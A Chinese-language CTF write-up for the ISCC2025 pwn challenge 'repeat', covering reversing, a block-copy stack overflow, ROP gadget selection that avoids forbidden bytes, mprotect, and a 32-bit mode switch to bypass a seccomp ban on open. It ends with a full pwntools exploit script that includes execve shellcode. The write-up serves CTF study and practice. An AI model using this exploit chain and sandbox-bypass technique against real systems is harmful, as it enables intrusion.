ISCC2025-擂台赛-repeat重做wp
最近为了国赛回来打打ctf复习一下,然后在回顾iscc的过程中发现这道题还是可圈可点的,所以来补充一下详细的wp
应该算是这次iscc最麻烦的一道pwn题,主要难点是对题目意图的理解,以及对于刁钻的输入环境如何用特殊的gadget顺利调用函数
逆向
由于静态链接且去了符号表,可以先用finger恢复一轮符号表,这样大多数常见库函数的符号就都能恢复了
主函数中finger不能识别的符号里

这里因为 setvbuf,以及输入函数的一些传参,可以断定是 stdin 和 stdout

这个东西根据传参是stdout,且在main结束时也有调用,判断是 fflush

这个函数里面有 prctl 调用,不难看出是 sandbox 函数
接着来到菜单逻辑
case1

不难看出这里应该是对两个缓冲区进行某些操作,一个是图中的 tmpBuf 长0x100,一个是 mainBuf 长0x6408(IDA的栈帧结构没有识别正确,但是无所谓,不影响)
这里是向 tmpBuf 里输入了最长0x100长度的字串,然后传递到了 sub_401e10 里进行操作,跟进一下

进来就能看到很扎眼的复杂的取值方式,肯定是有结构体
根据多次对 *(a1+25600) 的取值,不难看出这个位置应该有一个特殊的字段
结合这里的判断是否大于 99 也能猜到应该是某种计数器![]()
![]()
紧接着,通过这种取指针方式也能看出来这个大buf内部应该是切割为若干个 0x100 大小的小空间的
所以可以得出这样的结构体


现在不难看出,这个分支1的调用函数其实就是把输入的内容复制到大号buf内的数据块中
case2
这个分支的内部逻辑在IDA里看起来会很抽象,这里总结一下
首先是会调用一个![]()
这个函数实际上就是对所有数据块的顺序进行洗牌,而且它实际上就是case5

这个函数算是这个题的主要难点之一:
理论上讲,这里是写了 srandom(1825)的,随机种子固定,应该说是彻底的伪随机,所以按理说洗牌的规则应该是完全固定的,但实际打题时会发现洗牌规则会发现神奇的变化,经过我的测试,最终发现好像是和脚本的交互写法有关,比如:
for i in range(40): if i == 39: sla("\xf0\x9f\xa4\x97", str(1)) sl(asciiTab[i]*0x80) else: sla("\xf0\x9f\xa4\x97", str(1)) sl(asciiTab[i]*0x80) for i in range(40): sla("\xf0\x9f\xa4\x97", str(1)) sl(asciiTab[i]*0x80)
这两种写法最终的洗牌情况是完全不同的,就很神奇
我对随机数的了解不是很清晰,我猜测可能是因为 脚本中有无 if 分支导致完成这次交互的时间有所差别,导致随机数生成结果有所差别
纯瞎猜,真正原因希望有大佬可以解答
那么解决方法其实也不是很复杂,就是顺着这种神奇的玄学现象去做
payload = [] for i in range(40): if asciiTab[i] == '*': payload.append(asciiTab[i]*0xf0) else: payload.append(asciiTab[i]*0xf0) success("[>>] payload OK") for i in range(40): add(payload[i])
即先生成payload,然后一次性发送,如果是按照我这种写法的话,最终落在一会的返回地址区域内的会是这个部分
#xjoiacz6Bdpy1uml2k5hrv
这样就可以稳定控制payload洗牌后的顺序了
解释完洗牌问题后我们来看漏洞
外层的函数我也不是很想在wp里仔细分析,就解释几个影响payload构造的点

首先外面的逻辑其实就是对内容的复制,可以看到这个函数是有一个缓冲区的![]()
空间是0x1000,但复制的逻辑是遍历 所有 数据块,并将 有效部分 全部 复制到这个缓冲区内,前面也看到了,所有数据块的大小是0x6400,所以这里肯定是可以栈溢出的
但是会碰到几个阻碍,其一是刚才解释过的洗牌问题
第二则是这个复制数据块内容的细节

这里可以看到,它是对每个数据块的首字节进行检查,要求不是 0x10/0,否则会直接略过这次复制,造成我们payload内容的丢失
(另外我印象中当时比赛时我实际测试的是说只要小于0x10都会出问题来着,这次重做没仔细试,感兴趣的师傅可以自己试下)
到这里就能看出payload的构造要求了:1. 每个数据块只能承担一块payload(一个8字节地址);2. payload中不能出现最低字节为0x10/0的情况
到这里其实就可以做题了,case1输入payload,case2触发栈溢出。当时比赛时我也是直接没看后面三个分支的,这次看了下,发现那三个分支也确实是没啥用,这里简单写下吧
case3
删除分支

删除方式是删除点后方数据块向前覆盖,计数器减1,因为计数器有严格检查,所以应该没有利用空间
case4
对换分支
输入两个索引数,然后调换他们的位置,同样有严格检查,应该也没有数组越界一类的利用手段
case5就是case2里用的那个函数,不说了
打法
剩下的就是怎样构造rop链了,首先肯定是要先调用一个读入函数,用正常的写入手段去写正常的rop链,不然要去搞orw是很麻烦的
这种情况其实就是去找一些更对策性的gadget,因为不会用ropper,所以我一般是直接 ROPgadget 获取所有gadget,然后在sublime里搜索
先整理下需求:
需要调用 fgets(<选一个合适buf>, <合法长度>, stdin)
且地址中不能出现 0x10/0x00
现有寄存器里基本上也没有利用空间
因为是静态链接,所以像 pop ret 这种通用 gadget 还是很全的,所以主要麻烦的点在于怎么把 rdx 搞成 0x4ec600
我的思路是先给rdx pop一个没有0x10/0x00的值,然后用带有 add rdx, ... 的gadget将rdx加成 0x4ec600,我是找到了这条gadget

因为有 pop rax; ret ,且固定地址的bss段上有很多离0x4ec600很近的地址,所以可以把rax控到 &\<addr1\> - 0x10,rdx控制为 stdin - addr1,再用这条 gadget 就可以了
rax的取值:

elif asciiTab[i] == 'j': payload.append(p64(pop_rax)) elif asciiTab[i] == 'o': payload.append(p64(0x4ec020)) elif asciiTab[i] == 'i': payload.append(p64(pop_rdx_rbx)) elif asciiTab[i] == 'a': payload.append(p64(0x92660)) elif asciiTab[i] == 'c': payload.append(p64(0xdeadbeef)) elif asciiTab[i] == 'z': payload.append(p64(add_rdx_))

rdx搞定
剩下两个参数直接 pop 就可以了
然后调用 fgets,后面再放一个 pop rsp,让 fgets 返回时继续执行 这次输入的rop链

最后就是怎么获取flag了
题目把 open 和 openat 都ban了,但是没ban 32位执行,所以可以转换32位执行模式进行open
那肯定还是得先mportect
但是这样一来又有问题了:mprotect需要的 rax = 10 正好是 fgets 的结束符 \n,所以 rax 也需要找gadget去控制
这里插一句:写wp的时候忽然想到好像直接调用elf里的 mprotect 函数就行了,不过似乎是要找mprotect函数在哪的,看wp的师傅可以参考下这个改进方案

因为这里我发现执行fgets后,r10正好就是10,所以可以用这个 mov rax, r10 ![]()
其他参数正常传递即可,为图方便可以直接将这次输入所在的内存段设置为rwx,这样的话在这次输入里写shellcode就可以了


后面的打shellcode过程就略过了
完整EXP:
''' pwn_attack_ink ''' import sys from pwn import * context(arch='amd64', os='linux', log_level='debug') binary = './repeat' libc = './libc.so.6' # host, port = ":".split(":") print(('\033[31;40mremote\033[0m: (r)\n' '\033[32;40mprocess\033[0m: (p)')) bpt = [ "*0x401b47",#menu "*0x401b8e",#case5 "*0x402140",#case2 "*0x4021f5",#case2-fputs "*0x40216e",#case2-random "*0x401c08",#call case3 ] if sys.argv[1] == 'r': r = remote(host, int(port)) elif sys.argv[1] == 'p': r = process(binary) elif sys.argv[1] == 'pg': r = process(binary) gdb.attach(r, gdbscript=f""" b {bpt[3]} """) default = 1 sd = lambda data : r.send(data) sa = lambda delim, data : r.sendafter(delim, data) sl = lambda data : r.sendline(data) sla = lambda delim, data : r.sendlineafter(delim, data) rv = lambda numb=4096 : r.recv(numb) rl = lambda time=default : r.recvline(timeout=time) ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) uuntil = lambda data, count=-6 : uu64(ru(data)[count:]) padding = lambda length, filler=0 : b'ink' * (length // 3) + b'I' * (length % 3) if filler == 0 else filler * length cyc = lambda length : cyclic(length) lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") prl = lambda var_name : print(len(var_name)) debug = lambda command='' : gdb.attach(r,command) it = lambda : r.interactive() short_sc= lambda bits=64 : b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' if bits==64 else b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80' asciiTab = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST' syscall_ret = 0x423f96 def add(data_chunk): sla(b"\xf0\x9f\xa4\x97", str(1)) sla("\xf0\x9f\x98\x99", data_chunk) def delete(i): sla(b"\xf0\x9f\xa4\x97", str(3)) sl(str(i)) def show(): sla(b"\xf0\x9f\xa4\x97", str(2)) payload = [] mov_raxrdi = 0x455559 #mov rax, rdi nop_eax_j403313 = 0x403403 pop_rsi = 0x40aa3e pop_rdx_rbx = 0x4aa5ab pop_rax = 0x000000000045ffa7 #: pop rax ; ret pop_rdi = 0x00000000004029cf pop_rsp = 0x0000000000402e2e stdin_on_addr = 0x4ec600 fgets_addr = 0x41AF50 add_rdx_ = 0x00000000004ad034 #: add rdx, qword ptr [rax + 0x10] ; mov qword ptr [rsi + 0x18], rdx ; ret mov_raxr10_rsp0x28 = 0x00000000004ad0fa #: mov rax, r10 ; add rsp, 0x28 ; ret for i in range(40): if asciiTab[i] == '*': payload.append(asciiTab[i]*0xf0) if asciiTab[i] == 'x': payload.append(asciiTab[i]*0x18) elif asciiTab[i] == 'j': payload.append(p64(pop_rax)) elif asciiTab[i] == 'o': payload.append(p64(0x4ec020)) elif asciiTab[i] == 'i': payload.append(p64(pop_rdx_rbx)) elif asciiTab[i] == 'a': payload.append(p64(0x92660)) elif asciiTab[i] == 'c': payload.append(p64(0xdeadbeef)) elif asciiTab[i] == 'z': payload.append(p64(add_rdx_)) elif asciiTab[i] == '6': payload.append(p64(pop_rsi)) elif asciiTab[i] == 'B': payload.append(p64(0x550)) elif asciiTab[i] == 'd': payload.append(p64(pop_rdi)) elif asciiTab[i] == 'p': payload.append(p64(0x4ef020)) elif asciiTab[i] == 'y': payload.append(p64(fgets_addr)) elif asciiTab[i] == '1': payload.append(p64(pop_rsp)) elif asciiTab[i] == 'u': payload.append(p64(0x4ef020)) else: payload.append(asciiTab[i]*0xf0) success("[>>] payload OK") for i in range(40): add(payload[i]) show() #xjoiacz6Bdpy1uml2k5hrv pause() payload2 = p64(pop_rdi) + p64(0x4ef000) + p64(mov_raxr10_rsp0x28) + p64(0xdeadbeef)*5 + p64(pop_rsi) + p64(0x1000) payload2 += p64(pop_rdx_rbx) + p64(7)*2 + p64(syscall_ret) payload2 += p64(0x4ef020+len(payload2)+8) payload2 += asm(""" mov rax, 0x23; push rax; mov rbx, 0x4ef0aa; push rbx; retfq; """) + asm(""" push 0x67; push 0x616c662f; mov ebx, esp; xor ecx, ecx; xor edx, edx; mov eax, 5; int 0x80; push 0x33; push 0x4ef0c6; retf; """, arch = "i386", bits = 32) + asm(""" mov rdi, 1; mov rsi, rax; mov rdx, 0; mov r10, 0x50 mov rax, 40; syscall; """) sl(payload2) it()

浙公网安备 33010602011771号